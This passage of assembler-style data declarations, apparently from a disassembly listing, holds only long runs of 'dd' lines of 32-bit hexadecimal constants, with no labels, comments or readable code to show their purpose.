		dd 0C1237802h, 753D3474h, 1FEC3AAEh, 0C89080Eh,	2842C32Bh
		dd 0A583473Eh, 0AD2F5F03h, 0D867B675h, 340AC5CFh, 0CB8F0B0Ch
		dd 4583A858h, 8FC20E1h,	2F98603h, 223E9902h, 0E3112008h
		dd 0E7CF1AEBh, 0D504C9A7h, 980D370Bh, 42893D3Ch, 81144D0Fh
		dd 7C64ADD3h, 3D2A1048h, 1FE29C05h, 0D3A8FE1Fh,	9E081B8Ah
		dd 0B3489D79h, 0F441E35Eh, 181D8EE6h, 0A9271BDDh, 1F521058h
		dd 37B41B50h, 401C7DB3h, 61DD1144h, 0E8403E07h,	0C6253A23h
		dd 0EFCB12EFh, 5C150330h, 3A425070h, 904073F6h,	83030D04h
		dd 0F613FE26h, 412FB11h, 212F711h, 5484EF10h, 0A0DF1A58h
		dd 4FFFBAA7h, 0E1700DF3h, 25D2641Ah, 16674973h,	75600906h
		dd 5C4E801Eh, 18249201h, 0E51E3C89h, 8CDCFFBh, 410AA85Ch
		dd 0E3B661F7h, 162102E0h, 45BE6CD2h, 807E1F6h, 663C1334h
		dd 312A1662h, 234A12EBh, 2489ECAh, 8C090754h, 71DD5A03h
		dd 951FE640h, 4452E47Eh, 57532739h, 0E7261C58h,	0B428B21Fh
		dd 14745B05h, 0AB0B5D84h, 486A40Fh, 0E9F72C58h,	0D86BAABDh
		dd 8DF61689h, 0E0CE0C70h, 0A471E851h, 0E9FB111Ah, 0FFD50B0h
		dd 91B7D2E6h, 0C3F101Dh, 6A15C8EAh, 4F501698h, 0E091B822h
		dd 326AF027h, 8830C823h, 46F98122h, 10586AE8h, 3B2863E9h
		dd 90853017h, 0DDC082F8h, 801DDC01h, 782A7848h,	8930052Dh
		dd 0A2817DB1h, 0D7D90277h, 0CEF45DE9h, 6E5241F0h, 7635D820h
		dd 204AC808h, 2D29EB9Eh, 46902823h, 468E30B8h, 701E8A20h
		dd 9D0A2079h, 27DA1994h, 3322F5FEh, 3E5902A8h, 2FE3DAA2h
		dd 847F3DCDh, 0C2CB9455h, 0CA50F366h, 30A4DD70h, 46C8718Eh
		dd 0F525B58Fh, 0B3D63D7h, 0F70247E8h, 920CAB31h, 4138D59h
		dd 0FD01F5A1h, 0C8BFBCEh, 668D097Dh, 0EB2B8A8Ch, 73714354h
		dd 95D33970h, 8AD20260h, 58FA4525h, 0BD4E980Ch,	0B82725DAh
		dd 808C6203h, 2B1F7D2Bh, 608469C1h, 9ED03E8Bh, 6DD18188h
		dd 0F81C9FF7h, 43CCC2AFh, 17187902h, 0B5E37548h, 0C799A128h
		dd 1843A248h, 605566EBh, 6A2F325Eh, 818E4610h, 0CE44FDDBh
		dd 0A9118A92h, 0B8A85D4h, 0A529C3B8h, 1EF1717h,	5FFF85B9h
		dd 92847B5Bh, 7F31DDEAh, 84A07393h, 0E4BC61AAh,	642AB274h
		dd 9FC45F56h, 11351445h, 0AC7A75E5h, 681C84ABh,	283F0DA3h
		dd 0ED207550h, 237AE0E5h, 0C2E2486h, 2101DFCh, 985CFB4Ah
		dd 0A49C2A92h, 0E3565E07h
		dd 0F8A340CFh, 3C74089Fh, 0F1FBE8C2h, 9172BC96h, 59209A43h
		dd 0DCCBBC7Eh, 0AB12134Bh, 157F0921h, 0C998F23Eh, 0BD1E65C3h
		dd 0B8C93385h, 30AFE148h, 0C1963BC6h, 0D80E7409h, 3D41083Fh
		dd 0ED93CF20h, 41943EBh, 3B784CCDh, 2F978A6Bh, 56AC17Bh
		dd 987516EBh, 1E01109Eh, 30453F0Eh, 0F3F10619h,	5803110Bh
		dd 76DF62C3h, 0E5D11C0Ah, 85A049F1h, 0FCD90813h, 0EB3634ABh
		dd 0ACD758A9h, 310E31E8h, 952AFE05h, 0F3D81DBh,	5841A780h
		dd 920B7417h, 29FE56A8h, 4D81BE50h, 0F003F87Dh,	3909757Fh
		dd 16AB08FBh, 123CD729h, 7590FF11h, 0B8952A30h,	0BABA7FF8h
		dd 0DC66C824h, 0EC832735h, 0F9A43117h, 21F7136Bh, 71542B9h
		dd 590C0CD5h, 6E60EB74h, 0C75D4E58h, 5A954A38h,	564D2C4Ch
		dd 21A0512Dh, 12902144h, 0AA55E983h, 66190794h,	83900E74h
		dd 440FC865h, 33570A4Dh, 48C9BEE4h, 0EB736F93h,	0F6337BB6h
		dd 0DE0C105Eh, 120C65D1h, 380480Bh, 1816832Ch, 4E081A01h
		dd 89E7EB28h, 0EF5B0EEEh, 5E2299B1h, 8293E445h,	0F6CE6151h
		dd 0DF82B4FEh, 2729EDF9h, 4DE04416h, 0E423968Bh, 4FC0E51h
		dd 0BE255066h, 0F0BF090Fh, 2612EE81h, 841834AAh, 985E3089h
		dd 7DFA9B44h, 2C38FE6Ah, 1B310E21h, 0F4AE2DBh, 4E4FB84Eh
		dd 257A44A9h, 69AE23C8h, 0BA94DAFh, 0E420155Ch,	47DF6D73h
		dd 0A0CB3823h, 0C148F6AFh, 0DB0A04B0h, 0E397482Dh, 9BE45D67h
		dd 0ED100DE4h, 1224D844h, 1B34835Fh, 49946CB5h,	0D4D21254h
		dd 2171D744h, 0FDF1DEE8h, 0F1DA5D8h, 19EBCA84h,	4BB88124h
		dd 400B401Ah, 4FE4E87Fh, 0BCD72527h, 190BD6CBh,	4B1F9290h
		dd 0A588CA00h, 0C81CF009h, 0FC75DCCFh, 6D064DD9h, 0E8B718BFh
		dd 5802391Eh, 6BEC7718h, 4AB47497h, 0B4A13353h,	50E65C5Fh
		dd 3F591E4Eh, 0FA1F98B5h, 9B10E450h, 0D0380750h, 5D99E9C3h
		dd 973E3C02h, 1C3084A1h, 0D07EEB63h, 745965F2h,	148E2C4Fh
		dd 14DA3269h, 34DC1123h, 0A88FAE1Fh, 0D43D474Dh, 0FBEA0D25h
		dd 0E11605Fh, 0AFCFF746h, 0CC1ED7Fh, 2DC984E4h,	0C51F375h
		dd 1E15AABFh, 74240860h, 0E9CA3A0Ch, 148D0E3h, 0F43DCD40h
		dd 0AA0FBF24h, 0D0D192Ah, 3465F980h, 0AD450A92h, 77ED245Bh
		dd 38CF481Eh, 93FA6E30h, 4201140Fh, 5640118Ah, 168819CAh
		dd 854E55F6h, 27A28BEBh, 496E5B72h, 2A5DDFEh, 0FD1B74E6h
		dd 6638D3DAh, 970C442Bh, 0A4AD84DEh, 1254FC5Dh,	292FA24Ah
		dd 0D04F1B78h, 8009CD53h, 9A5DD03Dh, 0EC40578Ch, 0A134105Dh
		dd 0C4851BCCh, 0DB5400AEh, 51C19F0Fh, 388314C2h, 0CA8DE32Dh
		dd 0E1016303h, 0BD7CE7E8h, 8B38EB82h, 8C827464h, 0CC517544h
		dd 5E6CB250h, 0EA1DD56h, 41500143h, 0BB3E8392h,	41726863h
		dd 4CD0038Eh, 0B72F72CAh, 35B65171h, 706598F9h,	0C440F0C6h
		dd 92147E3Ch, 7F5E570Dh, 32088809h, 0D8A9D044h,	0C0687016h
		dd 0D38E2A8h, 798195A4h, 89CBC9C8h, 23A42C82h, 51147D9Bh
		dd 26401FFDh, 974501C6h, 2241CFE1h, 803C3C27h, 794B045Eh
		dd 0C9DBF705h, 92002D28h, 117C64FBh, 0B00B43BDh, 48F75E99h
		dd 146FBEFEh, 0DAFB0E1Bh, 0BB0A2F21h, 0D598DB46h, 7ED58D52h
		dd 0A82E0129h, 561009BBh, 0A1960357h, 83215FD4h, 35A21CACh
		dd 3B090E44h, 244775C3h, 7343E08h, 6A8BCD8Fh, 80300BC1h
		dd 0EBDC0777h, 14952469h, 0C1110B8Ah, 326A6F2Ah, 4460C20h
		dd 0BC34803h, 87C5B4B7h, 8B2A8478h, 75FD0202h, 145C607h
		dd 0AF017D8Dh, 10E3C14Fh, 2557C920h, 3A488CE8h,	307407C6h
		dd 1212475Ch, 1D4AF803h, 76111641h, 595AC84Eh, 0E903639Fh
		dd 85DC4704h, 287D2BF6h, 315ACAFh, 6EBDEF7h, 2F3B083Bh
		dd 64F6F07Ch, 5D495A53h, 12306ACCh, 0BA995BDFh,	0C58B4021h
		dd 2BA6D93Ah, 48E324AAh, 194407A8h, 49D8A34Ah, 49160574h
		dd 0D1249FDh, 44F335D4h, 985350E9h, 2BF8BEBh, 9297BF7h
		dd 97400D1Bh, 27A8392Ah, 0C13C9C0Fh, 3DD8A888h,	48044017h
		dd 0A0A39FE0h, 90217C15h, 1D7D2623h, 0B0A96CAh,	0CED84607h
		dd 1720F93Bh, 94A253FEh, 9AD54125h, 14A2DE3Ch, 8881214h
		dd 0F7F21064h, 0C6B3455Eh, 0AACE2505h, 67229A9Bh, 0E6258029h
		dd 0C5A154ADh, 0EE27290Ch, 48E8E22Fh, 0FF2396FEh, 7D162C73h
		dd 32460D10h, 2C47300Dh, 75660DC3h, 0EDE94E13h,	551A897Eh
		dd 0E5DFDCE4h, 0A2161854h, 11EB22E2h, 0ED28139Eh, 104129FCh
		dd 3268FD3Ah, 0E41AD685h, 0E20F31Fh, 329263DBh,	3E95040h
		dd 80168AF7h, 5E8A24AFh, 3E36765Fh, 0BF57007Eh,	19930520h
		dd 56B83E39h, 0DF86E828h, 46265B4h, 0DD07DD66h,	921D6E7Eh
		dd 3480BA6Fh, 0B86A6975h, 14668468h, 0D6030EE8h, 3E56EBC6h
		dd 815000FBh, 73630B38h, 257E06Dh, 0A1478F5h, 9732468h
		dd 9A7C0849h, 0B60F1D00h, 0D2522455h, 1CFDC15Eh, 49F23B56h
		dd 0D1C00C96h, 0EB292074h, 632181Fh, 241B9624h,	65590AE8h
		dd 3C25BF20h, 182052A6h, 7E800C27h, 8408B5Ch, 0F09090F7h
		dd 0F0DBA7Ch, 4413B18h,	0DC13AA14h, 0F8CBA07h, 8E80A4BBh
		dd 0C51E4FC3h, 2F2FA947h, 7E1B507Eh, 0EAA1B056h, 0BE16D151h
		dd 11084B2Ch, 5A7D48DCh, 0A14821EFh, 0D01BB4E0h, 0BE4785E1h
		dd 0E881EC37h, 0F82E294Fh, 6800D552h, 0F91C46ADh, 21C2B923h
		dd 683CB20Bh, 911DDB39h, 456CD114h, 418AC812h, 0F82BF0A4h
		dd 8AFC8E46h, 1864E357h, 66AC85C2h, 0D88B27CBh,	0EFB12F5Fh
		dd 31A89E0Fh, 7C7D7FF4h, 0AF047B3Ah, 97D0F077h,	3CEDCFDAh
		dd 0F41062CFh, 0A18A777Eh, 640173Fh, 4C047886h,	7EF81280h
		dd 76482A90h, 0D9372427h, 28BA3B45h, 62971AB9h,	9067D30h
		dd 7F333E39h, 0DEF416E1h, 0A5104B82h, 0EBC2F4A5h, 58BF244Fh
		dd 53200D5Bh, 812A35AAh, 2565960h, 542C1102h, 6B20ABA5h
		dd 0B769E914h, 0D9099092h, 870CF60Ah, 90560E8h,	20835B5Dh
		dd 4A88D015h, 5BF00699h, 13A75647h, 0B5B8D5EBh,	3DBD3197h
		dd 59C832E4h, 35212B7Ah, 68EB1813h, 0AA5E4C3Dh,	732463BFh
		dd 85FBFE4Eh, 0E1246DB5h, 86F018ABh, 4F73F81Dh,	437C3E47h
		dd 7F7C8799h, 8B24F679h, 1941104Eh, 5A61D203h, 65734F4h
		dd 0A1798026h, 1439F22Dh, 6BF0C083h, 2BEDF896h,	20C26F50h
		dd 10EA9A01h, 2714C6E7h, 9477A9EBh, 9D47E878h, 804A64A1h
		dd 8D8A8E78h, 41569E50h, 4E840BFCh, 47A1F104h, 60804B43h
		dd 0A045E852h, 2275B097h, 2062CF6h, 7B43A0Fh, 0F689BE4Ah
		dd 1A881D3h, 790A0F46h,	2030DD09h, 44E75EAh, 4B98CAAAh
		dd 0C8C42AACh, 0C233F78h, 735CDA2Dh, 4B75F273h,	4043BDE4h
		dd 552C74AFh, 7E0FBF83h, 91774905h, 0F5E20FCDh,	0A10C7C1Ah
		dd 0F0524448h, 0D70C27A5h, 61575FEAh, 4BFB5214h, 0EBD5C137h
		dd 0F9DE251Ah, 0D4A5A52Fh, 341348B0h, 0A4551A93h, 0F0343703h
		dd 0A6EBB71Dh, 0FFAC674h, 0D896421h, 0DFDE3AF7h, 9985D21Bh
		dd 65882BA7h, 634B45E9h, 0C2203671h, 0B21C4F82h, 21F85B73h
		dd 30AF4Fh, 9D0192E8h, 792C1DB1h, 32F7249h, 2C8F7F57h
		dd 0A789E882h, 74A99FD0h, 0F6F2636h, 0F905E857h, 857B4623h
		dd 0A72B2ACh, 86894028h, 0C73953Bh, 49102A1Eh, 97841370h
		dd 0EC0718A4h, 81D2747Eh, 0D85938EEh, 1CF27843h, 0D0647D32h
		dd 7AB4D45Ah, 94A597DCh, 91C4EB4Eh, 0C40D45C2h,	0E412C8C7h
		dd 0A5DDE010h, 3D514472h, 420F3915h, 0FC5D1615h, 64962AADh
		dd 0EA1E9566h, 0A751D781h
		dd 0A56D6433h, 0E83C4841h, 0BDC93C4Fh, 0A92D4FFEh, 0B7681064h
		dd 27C4D435h, 114A1FFh,	2BA972BDh, 0EB858BE8h, 0AE9213CFh
		dd 1678E636h, 0C14689D8h, 57A3E467h, 8AE0E77Fh,	3F81097Eh
		dd 27170E44h, 3C4F7F83h, 1497DD21h, 120A9725h, 323FC539h
		dd 5DD40A13h, 95905D86h, 0F1EEFB90h, 11FC014Bh,	0FB9D75B5h
		dd 3F787AC3h, 8C76136Dh, 0A91E0A69h, 2A27E788h,	65F04C36h
		dd 2DE05FAAh, 0D3045A41h, 0C3487558h, 6B1499E9h, 8F52A16h
		dd 0E8728A60h, 51107C2Fh, 0E6F61FA7h, 0FB4416E0h, 6884AD95h
		dd 244888C1h, 99FFEC3Bh, 0B414304Eh, 12AE52BFh,	0E53A1E45h
		dd 880B2F61h, 852B1214h, 0C1369712h, 0A2E97D22h, 8964891Bh
		dd 521D8731h, 4C085D85h, 23FC0873h, 31C2E451h, 0D64A0B06h
		dd 146CE0E4h, 5EF42C4Fh, 7E0F8CA8h, 0F1804FEh, 8B33BE85h
		dd 0B423A107h, 8BCC014h, 9767EB56h, 560A1834h, 0E83A75C0h
		dd 4758AEA4h, 12AE298Ch, 0A97E748Dh, 7F0E3404h,	679510FAh
		dd 0F609429h, 6A4A66EBh, 856C528h, 48517836h, 0A386FA48h
		dd 3B1B280Eh, 6B0475C5h, 0A87C401Ch, 23475014h,	644736B3h
		dd 0C205835Ah, 1A621FEBh, 62421E99h, 4B16C44Ch,	9FA96401h
		dd 49BF5252h, 8894B4Ch,	79C1C459h, 3351CE0Eh, 0AB51F929h
		dd 4B381B74h, 11920488h, 0FF51AA20h, 0F9EAC670h, 6285D2A3h
		dd 381D0069h, 760F0C45h, 6F67A995h, 0C056EE15h,	1CFAEF8h
		dd 80FF516Bh, 7CD285C2h, 6C20B80Dh, 0C229E32h, 0CA720E7Fh
		dd 0F4E6C15Bh, 51530409h, 0CB8394FFh, 0B82955EDh, 0F46D4011h
		dd 2FB20EE8h, 0D0A38D83h, 0DD36C07Eh, 5A5E295Dh, 523F3EBh
		dd 2B90575h, 0ECE8AC20h, 5D44C6A6h, 0C22BFC59h,	1091D60Ch
		dd 0A1C508F9h, 73CC6EEDh, 41A1B116h, 2707EBD0h,	331F411Fh
		dd 0E9344097h, 2C220E24h, 564A2851h, 43CF84B0h,	4BF7DA85h
		dd 78AD6B21h, 0D5FA1AD7h, 3B191349h, 4B7B7BADh,	4E86A2B8h
		dd 1C5843EDh, 0EB09137Eh, 27780C38h, 7527023Ch,	1F6CDD1Fh
		dd 8C09CDB1h, 0EFBB5EC5h, 94967090h, 0DD11EB0Bh, 582FE334h
		dd 0EA4FD470h, 0FE241659h, 0EB811942h, 6F20576Ch, 8C0F46FBh
		dd 0FEFFA36Fh, 0E10D8A5Bh, 0AB14978Fh, 1434018Ch, 0BAD44CBDh
		dd 0F663064Eh, 64B0AC3h, 7E01EEF8h, 2AE84601h, 0C3C02421h
		dd 0A4B8D3Fh, 0CE6DC069h, 3F92D4A7h, 7589D60Ah,	0ED117ABh
		dd 0C2ABF0B8h, 8D1CBC00h, 119D400Ch, 1280E43Ah,	3CC96BC8h
		dd 18504D03h, 685A0D06h, 504F85C2h, 89013AD2h, 8D32A04Fh
		dd 80118C02h, 0FD7C5581h, 2074C440h, 0A1D2BD7h,	456C3D8Dh
		dd 0F717FAC3h, 374C2AD2h, 48D894F1h, 78068C69h,	0C1EA8B70h
		dd 53EB9275h, 3B530530h, 850EB05h, 0FF7338A8h, 0F051C872h
		dd 0B4E22F86h, 88423C39h, 3131110Fh, 11459456h,	750B317Fh
		dd 63CB6F0Ch, 0E94FEB13h, 0CDEC5B48h, 0AE501C85h, 0AF4E07E2h
		dd 0F66E56C9h, 1209C89Dh, 3F97B544h, 7F079D09h,	8DFDAAA3h
		dd 0FC820AFEh, 2FB435DFh, 0CA4BA951h, 7787E00Dh, 0D962BF10h
		dd 0AE248FD7h, 8C10BA03h, 4FE830F2h, 5F7FA341h,	7C81C2B8h
		dd 0E8578B5Bh, 0C25CF766h, 2BEE609Fh, 5CE90447h, 789A712h
		dd 0D8472757h, 0C2F6D9F1h, 0F54168A7h, 0F85C2129h, 0FA50C1DEh
		dd 1F7AE3DDh, 20951421h, 4DA3CD8h, 8128741Fh, 73D03BD1h
		dd 0A3AE422h, 0F0037527h, 0EB421BB6h, 0B4EF62F1h, 0DD9AFA12h
		dd 8C1E914h, 381BBF5Bh,	0B9467EA4h, 47F6022Bh, 7C7D010Ch
		dd 8357658Fh, 3210D2BAh, 92225521h, 0BBC12B24h,	0C6E9A427h
		dd 0CCFD8BEAh, 0B76AE306h, 817D4E6Ah, 0FE7FE823h, 0C007C259h
		dd 0D6E51DD4h, 41EAA345h, 800B73A4h, 0F98B4D38h, 0D471040h
		dd 0A134EC20h, 3242FC2Fh, 0BB8274Dh, 0C32DC44h,	0C1774239h
		dd 0C87B4FEAh, 0AE8B0507h, 1F474EC2h, 34676946h, 4B42131Eh
		dd 0EF1129E9h, 5CB8BBF8h, 6DBA5E0Ah, 0FADEA84Fh, 0F090D46h
		dd 32117983h, 4BF1C9C1h, 5EAC97B5h, 5731EB91h, 3BFF3345h
		dd 0F89E4CEFh, 0C4BDF006h, 76148296h, 20502721h, 0B02670F5h
		dd 6BCFFD53h, 0C1850B64h, 64938053h, 0C7688C1h,	850D33A2h
		dd 864B3066h, 0D722E76Bh, 91897846h, 0FB8BCE2Bh, 291B6AD6h
		dd 640FE17h, 0F980098Ah, 14C7AA0Ah, 0D01C6F0h, 0FD448840h
		dd 958D8C81h, 0CA2B2A41h, 7C02306Bh, 0F8528BCCh, 5E2B3C3Ch
		dd 0E4285E3h, 8473572Fh, 74C6E090h, 0F428E643h,	3B16F201h
		dd 0BDE17CC7h, 0F4C1CABEh, 8A517210h, 1482F6BAh, 94F1850Fh
		dd 74048C20h, 58056A5Fh, 4C754391h, 0A3867A33h,	0E927133Ch
		dd 529D7480h, 0C7EB4DA0h, 0F4514D8Dh, 906F69DCh, 280BA265h
		dd 0F844B0D2h, 2DA5A7EBh, 3C219C17h, 8204D95Dh,	19F73DE7h
		dd 1C2140FAh, 382FD779h, 0CD496A78h, 226C42BCh,	3D89281Ch
		dd 16EB286Dh, 0E6F05EA0h, 18CCE5B8h, 0E5C98748h, 18962A3Eh
		dd 74BA0C3Dh, 7BFD4675h, 535B3F01h, 63A74068h, 3E34E271h
		dd 0B2509D0Ah, 1D14ACC8h, 22EB1024h, 0B4EC4261h, 541C524Ch
		dd 229C021Ah, 207E8801h, 1F300212h, 0BC107E14h,	30E86165h
		dd 96FA3836h, 1EA1850Ah, 1D96292Eh, 85B76885h, 0E9854990h
		dd 0FA9524DEh, 45D37A4Ah, 7D32209Ah, 7A7A0E93h,	932FE8D0h
		dd 8D7EE1F1h, 50DF4297h, 152EB2D2h, 7E692F80h, 0DF3B09EAh
		dd 7769735Eh, 1B04D4A2h, 24F64175h, 3854E8E0h, 4CCEFF8Fh
		dd 0DC84C424h, 134416BCh, 3332EBA6h, 12AF7D2Eh,	0D07A729Bh
		dd 0C3667425h, 6226B5AEh, 89588E44h, 0F2A14DF5h, 11A6231Bh
		dd 8B2F50h, 0F73BD83Bh,	0F6320B74h, 25060D45h, 1C647E40h
		dd 3B4AB2F2h, 1E7F0AD6h, 0F233C8DBh, 8F6D22AEh,	82813E47h
		dd 9039C865h, 4088A6E4h, 238C36B4h, 0DC148EA0h,	0B4E029D4h
		dd 25B71290h, 0FDB336DBh, 0B474DF0Ch, 0AFE4CB56h, 9C748A68h
		dd 31B4A090h, 0EB080475h, 858D5906h, 2206852h, 150AE0B3h
		dd 49C0717Ch, 3772AF77h, 0E9C68F90h, 6DE6966Ch,	35782099h
		dd 0A8BC015Fh, 125284C9h, 0BF2C78B5h, 1561877Ah, 5FB8317h
		dd 609CC8BAh, 2A892A08h, 9A110DE9h, 9CF658CEh, 2710929Fh
		dd 7AA73B9Fh, 0A50C6A0Ch, 42D53BE2h, 0C8E15450h, 0C1D012E5h
		dd 8004152Bh, 56D1030Dh, 0F67DCA3Bh, 49341E8Dh,	0B50AB02Bh
		dd 434ECF90h, 0C60172F2h, 0F7754A0Ch, 35489E8Bh, 0D43D5F22h
		dd 31AA569h, 8305830Dh,	903D70EBh, 8481132Ch, 913D5D10h
		dd 4A1084F2h, 0C893433Dh, 3D374185h, 82210F8Dh,	8F3D2404h
		dd 1084863Ch, 88923D11h, 4A8AC40Ah, 0F56989FFh,	0C4D38684h
		dd 0CF0B5DB2h, 0FBB4EB5Eh, 7025518Dh, 0E4A4A30Ch, 9F64995h
		dd 15127722h, 5B74444Ch, 0C324AB5Dh, 8508ED08h,	45881539h
		dd 0AB856DAh, 48EE7406h, 2E42BEECh, 0C60045C0h,	10390473h
		dd 8DF53D75h, 85E491Bh,	3B1605B5h, 741309C1h, 147FE062h
		dd 0E8050B05h, 0A552D3EDh, 1FCC3534h, 22DA02EBh, 63D52575h
		dd 0BD1096D5h, 11165351h, 13502CF0h, 0EC1E94E8h, 46E6C44Fh
		dd 3E990CFFh, 10C00D44h, 76203C0Ah, 1ABBFF06h, 6AFA771Bh
		dd 21045332h, 5E2957E9h, 924EA5Fh, 0B9AD8C5Bh, 0B6108B91h
		dd 4D48B9A8h, 0C33A5060h, 3C3A1274h, 4701013Dh,	80EBE856h
		dd 0E86A7375h, 30F7795Ch, 72E5BD89h, 0CC347924h, 0E9EE5B85h
		dd 60351A1Eh, 0CBE7065h, 0AB0CE809h, 3D508B51h,	1F013842h
		dd 57553974h, 759DB1E8h, 45598E8Bh, 22943FECh, 9769557Fh
		dd 39A5F76Bh, 0DD2F4406h
		dd 0BA0F53AAh, 8F5B2636h, 4EEA113h, 0C3FD03F4h,	5DC97570h
		dd 0E88530F5h, 2FD68145h, 760C5710h, 500E1E58h,	0EC9FD088h
		dd 0C35B27F9h, 1C243AF5h, 0D2D320BEh, 8114BE24h, 2092DDA5h
		dd 48684C77h, 0A3902AA1h, 0FE8B887Bh, 9F2AD89Dh, 3997B3F0h
		dd 0E3F5333h, 4A104D27h, 0D90ABF34h, 0F708D588h, 91564984h
		dd 2AA9F52Dh, 0A2842978h, 50D9308Ch, 1CEF864Bh,	2F17E8DAh
		dd 143241CCh, 2858B648h, 54A30C9Dh, 0CC955B0Fh,	6B059D70h
		dd 2A83BA14h, 314A5821h, 0C79E4A4Fh, 8C696BB6h,	272828FFh
		dd 75714237h, 80387624h, 508A449Ch, 0A440013Ch,	2916BFFAh
		dd 6FDDDBBCh, 3E92DD6h,	0E485013Eh, 108A7180h, 46161588h
		dd 0D5210C40h, 0DCEEB8Ah, 56B80493h, 1541A37Ch,	1243EB3Ah
		dd 0CC1F052Ah, 0DA8A400Ah, 328D83FCh, 0C771834h, 0F620CDACh
		dd 12A68B09h, 0CC4175EEh, 984803D0h, 664B88BCh,	2F8797FFh
		dd 7C9E0D18h, 0A8E02ADFh, 282C8AD0h, 569F2805h,	4518A05Ah
		dd 9BD1AC8h, 5D14558Bh,	49080C61h, 468646D8h, 25535C5Ch
		dd 217AFC40h, 0FC2C1693h, 4B974859h, 7018CA4Bh,	28787CCDh
		dd 0C1E48D22h, 0EBC28B3Ch, 8709703h, 0A05F90EDh, 0F1F186Dh
		dd 0CB0C294h, 2F8BEBD1h, 22E04BD3h, 89A4430Eh, 5C06C60Ah
		dd 0F62FB246h, 8881201Eh, 0DC834AA8h, 0A293E80h, 753F118Bh
		dd 0D6973A5Bh, 53532EB6h, 6C9E319h, 1CB12032h, 0CD41230Fh
		dd 4BA2D03h, 5458E997h,	20A631C2h, 0FA217FEh, 8303C801h
		dd 6E8F2527h, 0D56E7EE5h, 18C5B0BBh, 46ABB41h, 0D53C2DF3h
		dd 0D2E11033h, 9AF67472h, 0A7564A9h, 0E9B5ABD5h, 44AD1765h
		dd 2813ED7Bh, 0AD405908h, 0EA3E91D5h, 111C25A1h, 8FE91202h
		dd 8A81A2DCh, 490C4449h, 0C2509140h, 1E39660Bh,	1CEC7408h
		dd 18127040h, 7A4F975h,	0C62BF213h, 0D1E3C8BAh,	348FF84Ch
		dd 5E860640h, 2AF89F08h, 0D7FF3416h, 0EB3B3601h, 33603274h
		dd 6B824664h, 230B062Ah, 0AA554A3Ah, 4DF6D11Eh,	2B5F9744h
		dd 20225210h, 42C87E1Dh, 98B1A5Ch, 44AD85DDh, 0EBC39F20h
		dd 944E9C53h, 8641A64Ch, 7416B20Eh, 12611E3Ch, 0FE1DAAC7h
		dd 5DAF8F7h, 0DF2BF60Fh, 2CCED636h, 0E9CF81FDh,	0F6168CD0h
		dd 0BB130BEBh, 9025F605h, 84B70A2h, 0BBA048C7h,	646C5C9Fh
		dd 0B4D1FB5Bh, 0A52F44ECh, 0AE212F88h, 3B49C2E8h, 33D36644h
		dd 0A744F71Bh, 0D2161353h, 0F8F1C7DFh, 0BFD22012h, 5D2A8986h
		dd 801A2A82h, 774A55h, 546C6B7h, 24A1510Ah, 0A8651E2Bh
		dd 0E2EB151Ch, 0BD4FE28Dh, 7C668989h, 0BE0C34DCh, 1C5ED4A2h
		dd 43A5A742h, 300C05B9h, 0B8DD838Dh, 4B8F0882h,	0B82E1C45h
		dd 392877EBh, 7D0D6435h, 9B84BF52h, 8A329018h, 833801E8h
		dd 890A80ACh, 7F888D07h, 1873C181h, 8126080h, 8B044004h
		dd 27D2BB0Fh, 0E47DA4C1h, 4A21D6D4h, 842EBB7Ch,	330A49C5h
		dd 467E38A3h, 0C85703E2h, 0D78A3654h, 2EE2B420h, 75080AC2h
		dd 30A6A40Bh, 0D1504FE3h, 95CFE4C7h, 43EFDA53h,	1E08890Bh
		dd 0C3488861h, 0C3834547h, 7CFE3BA8h, 4651BA4Ch, 0D83C03EDh
		dd 0A3348DFFh, 0DB85D175h, 5C040120h, 6A09B581h, 427658F6h
		dd 0E448C309h, 0C9F5E4B5h, 0A91B34B3h, 17E89CE7h, 25675757h
		dd 42E6540Ch, 0D1443E89h, 4E800617h, 0F2531A8h,	9E0A7169h
		dd 6FFF0817h, 8343200Dh, 297C03FBh, 0B2B9FF9Bh,	572B386Eh
		dd 445ABC44h, 560315ADh, 58303243h, 0C8973EA7h,	0CB8B08F3h
		dd 5D5DD2FCh, 40F76122h, 903144DFh, 2A8245AFh, 8A1020C8h
		dd 43E3F0CBh, 2D734420h, 0EF4087Bh, 498D618Fh, 8F910576h
		dd 450FBFB8h, 6B815556h, 8C54FF10h, 855E5D18h, 339AA00Bh
		dd 4D3C6378h, 96EAE853h, 4662C64h, 431A563Dh, 6F083192h
		dd 0BF20016Ah, 9B419D8Fh, 4223497h, 0CAC9BF3h, 7BA5FF79h
		dd 349E1B1Dh, 0B8A1EB86h, 5563B7F1h, 15598CBDh,	0FF6A5DA0h
		dd 0C65280C8h, 79B72F5Dh, 0BD5564E1h, 297B7989h, 501C4119h
		dd 107B1808h, 0C2CA2544h, 0B0A10598h, 423BB5B9h, 13C90D9Fh
		dd 843DE42Ah, 0AEC7A95Fh, 0FC682191h, 18E87F8Ch, 1C59A10Bh
		dd 555925A1h, 1E9D2E9Bh, 5C9D6216h, 0ECA46436h,	6BB097C7h
		dd 0B184EB8h, 66043BA3h, 0AD23AE0Bh, 0F145ECA8h, 0E6B2F056h
		dd 963B0314h, 1C27501Bh, 6DAE0170h, 0C886C69Fh,	77E90DE3h
		dd 0FA81B618h, 182276A3h, 858D13F1h, 0E3A7AE5Ch, 8C9BBD2h
		dd 7C341811h, 5FE801FEh, 3BB93B88h, 0FF571344h,	840BDE1h
		dd 0C6797AE8h, 0CC59400Ah, 29763C14h, 6750991Ah, 211927A4h
		dd 783170Eh, 1F036A1Ch,	853068A6h, 217C5748h, 0EE10167Fh
		dd 5468EBC8h, 8A095614h, 0A87D1113h, 150D0C57h,	181E1068h
		dd 0B61987FBh, 0FDD4AA1Ch, 0E90A96F3h, 200A1D87h, 656F1101h
		dd 28057BE8h, 74A8168Bh, 0AEEB5F84h, 0ABCE11B1h, 9225A31h
		dd 78DAE836h, 0CF81CB5Fh, 0B2D9F4E4h, 0A5B9F9EEh, 7F90927Fh
		dd 8DD04A62h, 0F2B9F626h, 7D018B42h, 908D4922h,	0C21280C6h
		dd 0B9A11C73h, 418DE53Fh, 64F1EB61h, 61F92B87h,	4ACE7C3Ch
		dd 0EB54D0CCh, 0CF31C3F6h, 0F98120D1h, 0C50B8863h, 63E643EBh
		dd 7D62E816h, 3A33D062h, 465D3D42h, 895589C7h, 14AF2CD3h
		dd 1011D1D7h, 1FEBD603h, 7EE7C1E8h, 0CAFCDF27h,	12337B2Fh
		dd 986F356h, 79527357h,	0C5FFDB85h, 36840931h, 5A55CC3Ah
		dd 9D1EFCEDh, 1010F4DCh, 0B4C80839h, 78EB5328h,	0F50ACEEBh
		dd 0F61403A8h, 2C22EEh,	1C89078Bh, 5BC03330h, 0AD601F95h
